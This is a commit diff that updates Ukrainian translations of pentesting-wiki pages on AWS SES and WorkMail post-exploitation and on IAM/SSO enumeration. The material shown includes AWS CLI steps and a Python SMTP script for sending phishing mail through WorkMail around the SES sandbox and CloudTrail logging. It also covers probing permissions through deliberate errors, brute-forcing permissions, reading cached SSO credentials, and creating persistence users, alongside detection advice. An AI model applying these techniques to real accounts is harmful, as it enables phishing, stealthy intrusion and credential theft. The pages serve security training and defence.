Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-12 12:50:41 +00:00
parent c4b64d748b
commit 70e1fc45bd
3 changed files with 156 additions and 56 deletions

View File

@@ -12,7 +12,7 @@
### `ses:SendEmail`
Відправити електронний лист.
Надіслати електронний лист.
```bash
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
@@ -25,7 +25,7 @@ aws sesv2 send-email --from sender@example.com --destination file://emails.json
```bash
aws ses send-raw-email --raw-message file://message.json
```
Ще потрібно протестувати.
Ще треба протестувати.
### `ses:SendTemplatedEmail`
@@ -33,37 +33,49 @@ aws ses send-raw-email --raw-message file://message.json
```bash
aws ses send-templated-email --source <value> --destination <value> --template <value>
```
Ще потрібно протестувати.
Потрібно ще протестувати.
### `ses:SendBulkTemplatedEmail`
Надіслати електронний лист кільком адресатам
Надіслати електронний лист кільком одержувачам.
```bash
aws ses send-bulk-templated-email --source <value> --template <value>
```
Ще не протестовано.
Ще потрібно протестувати.
### `ses:SendBulkEmail`
Відправити електронний лист кільком адресатам.
Надіслати електронний лист кільком отримувачам.
```
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
```
### `ses:SendBounce`
Надіслати **повідомлення про недоставку (bounce email)** щодо отриманого листа (вказуючи, що лист не був доставлений). Це можна зробити лише **протягом 24 годин після отримання** листа.
Надіслати **повідомлення про недоставку (bounce email)** для отриманого листа (який вказує, що лист не був доставлений). Це можна зробити лише **протягом 24 годин після отримання**.
```bash
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
```
Ще потрібно протестувати.
Потрібно ще протестувати.
### `ses:SendCustomVerificationEmail`
Це надішле налаштований лист підтвердження. Також може знадобитися дозвіл для створення шаблону листа.
Це надішле персоналізований лист підтвердження. Можливо, також знадобляться права для створення шаблону листа.
```bash
aws ses send-custom-verification-email --email-address <value> --template-name <value>
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
```
Ще потрібно протестувати.
Потрібно ще протестувати.
## WorkMail pivot щоб обійти SES sandbox
Коли `ses:GetAccount` показує, що акаунт все ще перебуває в SES sandbox, а `ses:ListIdentities` повертає відсутність підтверджених відправників, атакувальники можуть **pivot to WorkMail** для негайної відправки (без sandbox і з вищими стандартними квотами), створивши організації, підтвердивши домени та зареєструвавши поштові скриньки.
{{#ref}}
../aws-workmail-post-exploitation/README.md
{{#endref}}
## Посилання
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,76 @@
# AWS - WorkMail Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Зловживання WorkMail для обходу SES sandbox
Навіть якщо SES застряг у **sandbox** (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail не має еквівалентного обмеження. Зловмисник з довгостроковими ключами може розгорнути тимчасову поштову інфраструктуру і почати надсилати негайно:
1. **Create a WorkMail org (region-scoped)**
```bash
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
```
2. **Підтвердити домени, контрольовані атакуючим** (WorkMail invokes SES APIs as `workmail.amazonaws.com`):
```bash
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
```
3. **Налаштувати користувачів поштових скриньок та зареєструвати їх:**
```bash
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
```
Примітки:
- Типове **recipient cap**, задокументоване AWS: **100,000 external recipients/day per org** (aggregated across users).
- Активність перевірки домену з'явиться в CloudTrail під SES, але з **`invokedBy`: `workmail.<region>.amazonaws.com`**, тож SES verification events можуть належати налаштуванню WorkMail, а не SES-кампаніям.
- Користувачі поштових скриньок WorkMail стають **application-layer persistence**, незалежними від IAM users.
## Шляхи відправлення & прогалини в телеметрії
### Web client (WorkMail UI)
- Відправки відображаються як **`ses:SendRawEmail`** події в CloudTrail.
- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, тому **істинна IP-адреса клієнта прихована**.
- `requestParameters` все ще leak інформацію про відправника (`source`, `fromArn`, `sourceArn`, configuration set), що дозволяє корелювати з недавно verified domains/mailboxes.
### SMTP (найменш помітний)
- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) with the mailbox password.
- **Жодні CloudTrail data events** не генеруються для доставки через SMTP, навіть коли SES data events увімкнені.
- Ідеальні точки виявлення — **org/domain/user provisioning** та SES identity ARNs, на які посилаються в подальших веб-відправлених `SendRawEmail` подіях.
<details>
<summary>Приклад надсилання SMTP через WorkMail</summary>
```python
import smtplib
from email.message import EmailMessage
SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"
target = "victim@example.com" # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
smtp.send_message(msg)
```
</details>
## Рекомендації щодо виявлення
- Якщо WorkMail не потрібен, заблокуйте його через **SCPs** (`workmail:*` deny) на рівні організації.
- Сповіщайте про провізіонування: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, а також верифікації SES з `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Слідкуйте за аномальними подіями **`ses:SendRawEmail`**, коли identity ARNs посилаються на нові домени, а IP/UA джерела дорівнює `workmail.<region>.amazonaws.com`.
## Посилання
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# AWS - IAM, Identity Center & SSO Enum
# AWS - IAM, Identity Center & SSO Перерахування
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,11 +10,11 @@
../aws-basic-information/
{{#endref}}
### Enumeration
### Перерахування
Основні дозволи, які потрібні:
Основні необхідні дозволи:
- `iam:ListPolicies`, `iam:GetPolicy` та `iam:GetPolicyVersion`
- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
- `iam:ListRoles`
- `iam:ListUsers`
- `iam:ListGroups`
@@ -22,9 +22,9 @@
- `iam:ListAttachedUserPolicies`
- `iam:ListAttachedRolePolicies`
- `iam:ListAttachedGroupPolicies`
- `iam:ListUserPolicies` та `iam:GetUserPolicy`
- `iam:ListGroupPolicies` та `iam:GetGroupPolicy`
- `iam:ListRolePolicies` та `iam:GetRolePolicy`
- `iam:ListUserPolicies` and `iam:GetUserPolicy`
- `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
- `iam:ListRolePolicies` and `iam:GetRolePolicy`
```bash
# All IAMs
## Retrieves information about all IAM users, groups, roles, and policies
@@ -88,37 +88,49 @@ aws iam get-account-password-policy
aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Приховане підтвердження дозволів через навмисні помилки
Коли `List*` або API симуляторів заблоковано, ви можете **підтвердити права на зміну без створення довготривалих ресурсів**, спричинивши передбачувані помилки валідації. AWS все ще оцінює IAM перед поверненням цих помилок, тому побачена помилка доводить, що запитувач має право виконати цю дію:
```bash
# Confirm iam:CreateUser without creating a new principal (fails only after authz)
aws iam create-user --user-name <existing_user> # -> EntityAlreadyExistsException
# Confirm iam:CreateLoginProfile while learning password policy requirements
aws iam create-login-profile --user-name <target_user> --password lower --password-reset-required # -> PasswordPolicyViolationException
```
Ці спроби все ще генерують CloudTrail події (з встановленим `errorCode`), але уникають створення нових IAM артефактів, що робить їх корисними для **перевірки прав із мінімальним рівнем шуму** під час interactive recon.
### Permissions Brute Force
Якщо вас цікавлять ваші власні дозволи, але у вас немає доступу для запиту IAM, ви завжди можете їх перебрати.
If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them.
#### bf-aws-permissions
Інструмент [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) - це просто bash-скрипт, який буде виконувати всі **`list*`, `describe*`, `get*`** дії, які він може знайти, використовуючи повідомлення допомоги `aws` cli, і **повертати успішні виконання**.
The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash-скрипт that під вказаним профілем виконає всі **`list*`, `describe*`, `get*`** дії, які зможе знайти у help-повідомленнях `aws` cli, і **поверне успішно виконані дії**.
```bash
# Bruteforce permissions
bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
```
#### bf-aws-perms-simulate
Інструмент [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) може знайти ваші поточні дозволи (або дозволи інших суб'єктів), якщо у вас є дозвіл **`iam:SimulatePrincipalPolicy`**
Інструмент [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) може визначити ваші поточні дозволи (або дозволи інших принципалів), якщо у вас є дозвіл **`iam:SimulatePrincipalPolicy`**
```bash
# Ask for permissions
python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
```
#### Perms2ManagedPolicies
Якщо ви знайшли **деякі дозволи, які має ваш користувач**, і вважаєте, що вони надаються **керованою роллю AWS** (а не кастомною). Ви можете використовувати інструмент [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), щоб перевірити всі **керовані ролі AWS, які надають дозволи, які ви виявили, що маєте**.
Якщо ви виявили **деякі дозволи, які має ваш користувач**, і припускаєте, що вони надаються **керованою роллю AWS** (а не користувацькою). Ви можете скористатися інструментом [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), щоб перевірити всі **керовані ролі AWS, які надають виявлені у вас дозволи**.
```bash
# Run example with my profile
python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
```
> [!WARNING]
> Можливо "знати", чи дозволи, які у вас є, надані керованою роллю AWS, якщо ви бачите, що **у вас є дозволи на сервіси, які не використовуються**, наприклад.
> Можна "з'ясувати", чи надані вам дозволи через AWS managed role, якщо, наприклад, ви бачите, що **ви маєте дозволи на сервіси, які не використовуються**.
#### Cloudtrail2IAM
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) - це інструмент на Python, який аналізує **журнали AWS CloudTrail для витягування та узагальнення дій**, виконаних усіма або лише конкретним користувачем чи роллю. Інструмент **розпарсить кожен журнал cloudtrail з вказаного бакету**.
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) це Python-інструмент, який аналізує **журнали AWS CloudTrail, щоб витягти й підсумувати виконані дії** будь-ким або лише конкретним користувачем чи роллю. Інструмент **розбирає кожен CloudTrail лог з вказаного bucket**.
```bash
git clone https://github.com/carlospolop/Cloudtrail2IAM
cd Cloudtrail2IAM
@@ -126,16 +138,16 @@ pip install -r requirements.txt
python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
```
> [!WARNING]
> Якщо ви знайдете .tfstate (файли стану Terraform) або файли CloudFormation (це зазвичай файли yaml, розташовані в кошику з префіксом cf-templates), ви також можете їх прочитати, щоб знайти конфігурацію aws і дізнатися, які дозволи були надані кому.
> Якщо ви знайдете .tfstate (Terraform state files) або файли CloudFormation (зазвичай це yaml файли, розташовані всередині bucket з префіксом cf-templates), ви також можете прочитати їх, щоб знайти aws конфігурацію та з'ясувати, яким користувачам призначені які права.
#### enumerate-iam
Щоб використовувати інструмент [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), спочатку потрібно завантажити всі API AWS кінцеві точки, з яких скрипт **`generate_bruteforce_tests.py`** отримає всі **"list\_", "describe\_", і "get\_" кінцеві точки.** І нарешті, він спробує **доступитися до них** з наданими обліковими даними і **вказати, чи спрацювало**.
To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **доступитись до них** with the given credentials and **повідомити, чи це спрацювало**.
(На мою думку, **інструмент зависає в деякий момент**, [**перегляньте це виправлення**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), щоб спробувати виправити це).
(За моїми спостереженнями **інструмент зависає в якийсь момент**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) щоб спробувати це виправити).
> [!WARNING]
> На мою думку, цей інструмент схожий на попередній, але працює гірше і перевіряє менше дозволів.
> За моїми спостереженнями цей інструмент схожий на попередній, але працює гірше і перевіряє менше прав
```bash
# Install tool
git clone git@github.com:andresriancho/enumerate-iam.git
@@ -154,7 +166,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess
```
#### weirdAAL
Ви також можете використовувати інструмент [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Цей інструмент перевірить **декілька загальних операцій на декількох загальних сервісах** (перевірить деякі дозволи на перерахування, а також деякі дозволи на підвищення привілеїв). Але він перевірить лише закодовані перевірки (єдиний спосіб перевірити більше речей - це написати більше тестів).
Ви також можете використовувати інструмент [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Цей інструмент перевіряє кілька поширених операцій на кількох поширених сервісах (перевіряє деякі enumeration permissions і також деякі privesc permissions). Але він перевіряє лише закодовані перевірки єдиний спосіб додати більше перевірок — написати додаткові тести.
```bash
# Install
git clone https://github.com/carnal0wnage/weirdAAL.git
@@ -178,7 +190,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
# [+] elbv2 Actions allowed are [+]
# ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups']
```
#### Інструменти зміцнення для BF дозволів
#### Інструменти для захисту прав доступу від BF
{{#tabs }}
{{#tab name="CloudSploit" }}
@@ -208,43 +220,43 @@ steampipe dashboard
#### \<YourTool>
Жоден з попередніх інструментів не здатний перевірити всі дозволи, тому якщо ви знаєте кращий інструмент, надішліть PR!
Жоден із наведених інструментів не може перевірити майже всі дозволи, тому якщо ви знаєте кращий інструмент надішліть PR!
### Неавтентифікований доступ
### Unauthenticated Access
{{#ref}}
../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
{{#endref}}
### Підвищення привілеїв
### Privilege Escalation
На наступній сторінці ви можете перевірити, як **зловживати дозволами IAM для підвищення привілеїв**:
На наступній сторінці ви можете дізнатися, як **abuse IAM permissions to escalate privileges**:
{{#ref}}
../aws-privilege-escalation/aws-iam-privesc/README.md
{{#endref}}
### IAM Після експлуатації
### IAM Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-iam-post-exploitation/README.md
{{#endref}}
### IAM Персистентність
### IAM Persistence
{{#ref}}
../aws-persistence/aws-iam-persistence/README.md
{{#endref}}
## IAM Центр ідентичності
## IAM Identity Center
Ви можете знайти **опис IAM Центру ідентичності** в:
Тут можна знайти **опис IAM Identity Center**:
{{#ref}}
../aws-basic-information/
{{#endref}}
### Підключення через SSO з CLI
### Connect via SSO with CLI
```bash
# Connect with sso via CLI aws configure sso
aws configure sso
@@ -260,13 +272,13 @@ sso_region = us-east-1
Основні елементи Identity Center:
- Користувачі та групи
- Набори дозволів: мають прикріплені політики
- Облікові записи AWS
- Permission Sets: мають прикріплені політики
- AWS Accounts
Потім створюються відносини, щоб користувачі/групи мали Набори дозволів над Обліковим записом AWS.
Потім встановлюються зв'язки так, щоб користувачі/групи мали Permission Sets для AWS Account.
> [!NOTE]
> Зверніть увагу, що є 3 способи прикріплення політик до Набору дозволів. Прикріплення керованих політик AWS, керованих політик замовника (ці політики потрібно створити в усіх облікових записах, на які впливають Набори дозволів) та вбудованих політик (визначених там).
> Зверніть увагу, що існує 3 способи прикріплення політик до Permission Set: AWS managed policies, Customer managed policies (ці політики потрібно створити у всіх облікових записах, на які впливає Permission Set), та inline policies (визначені у ньому).
```bash
# Check if IAM Identity Center is used
aws sso-admin list-instances
@@ -300,9 +312,9 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
## Get memberships or a user or a group
aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
```
### Локальна Перерахунка
### Local Enumeration
Можливо створити в папці `$HOME/.aws` файл config для налаштування профілів, які доступні через SSO, наприклад:
Можна створити в папці `$HOME/.aws` файл config для налаштування профілів, доступних через SSO, наприклад:
```ini
[default]
region = us-west-2
@@ -320,16 +332,16 @@ output = json
role_arn = arn:aws:iam::<acc-id>:role/ReadOnlyRole
source_profile = Hacktricks-Admin
```
Ця конфігурація може бути використана з командами:
Цю конфігурацію можна використовувати з командами:
```bash
# Login in ms-sso-profile
aws sso login --profile my-sso-profile
# Use dependent-profile
aws s3 ls --profile dependent-profile
```
Коли **профіль з SSO використовується** для доступу до деякої інформації, облікові дані **кешуються** у файлі всередині папки **`$HOME/.aws/sso/cache`**. Тому їх можна **читати та використовувати звідти**.
Коли **профіль із SSO використовується** для доступу до деякої інформації, облікові дані **кешуються** у файлі всередині папки **`$HOME/.aws/sso/cache`**. Отже їх можна **прочитати і використати звідти**.
Більше того, **додаткові облікові дані** можуть зберігатися в папці **`$HOME/.aws/cli/cache`**. Ця директорія кешу в основному використовується, коли ви **працюєте з профілями AWS CLI**, які використовують облікові дані IAM користувача або **припускають** ролі через IAM (без SSO). Приклад конфігурації:
Крім того, **більше облікових даних** може зберігатися в папці **`$HOME/.aws/cli/cache`**. Цей каталог кешу переважно використовується, коли ви **працюєте з AWS CLI профілями**, які використовують облікові дані користувача IAM або **assume** ролі через IAM (без SSO). Приклад конфігурації:
```ini
[profile crossaccountrole]
role_arn = arn:aws:iam::234567890123:role/SomeRole
@@ -337,36 +349,36 @@ source_profile = default
mfa_serial = arn:aws:iam::123456789012:mfa/saanvi
external_id = 123456
```
### Неавтентифікований доступ
### Unauthenticated Access
{{#ref}}
../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
{{#endref}}
### Підвищення привілеїв
### Privilege Escalation
{{#ref}}
../aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
{{#endref}}
### Після експлуатації
### Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
{{#endref}}
### Постійність
### Persistence
#### Створіть користувача та призначте йому дозволи
#### Створити користувача та призначити йому дозволи
```bash
# Create user identitystore:CreateUser
aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
```
- Створіть групу та призначте їй дозволи, а також встановіть контрольованого користувача
- Надати додаткові дозволи контрольованому користувачу або групі
- За замовчуванням лише користувачі з дозволами з Облікового запису управління зможуть отримати доступ і контролювати IAM Identity Center.
- Створіть групу, призначте їй дозволи та додайте до неї керованого користувача
- Надайте додаткові дозволи керованому користувачу або групі
- За замовчуванням лише користувачі з правами з Management Account зможуть отримати доступ до IAM Identity Center та керувати ним.
Однак, за допомогою Delegate Administrator можливо дозволити користувачам з іншого облікового запису керувати ним. Вони не матимуть точно таких же дозволів, але зможуть виконувати [**управлінські дії**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
Однак через Delegate Administrator можна дозволити користувачам з іншого облікового запису керувати ним. Вони не матимуть точно таких самих прав, але зможуть виконувати [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
{{#include ../../../banners/hacktricks-training.md}}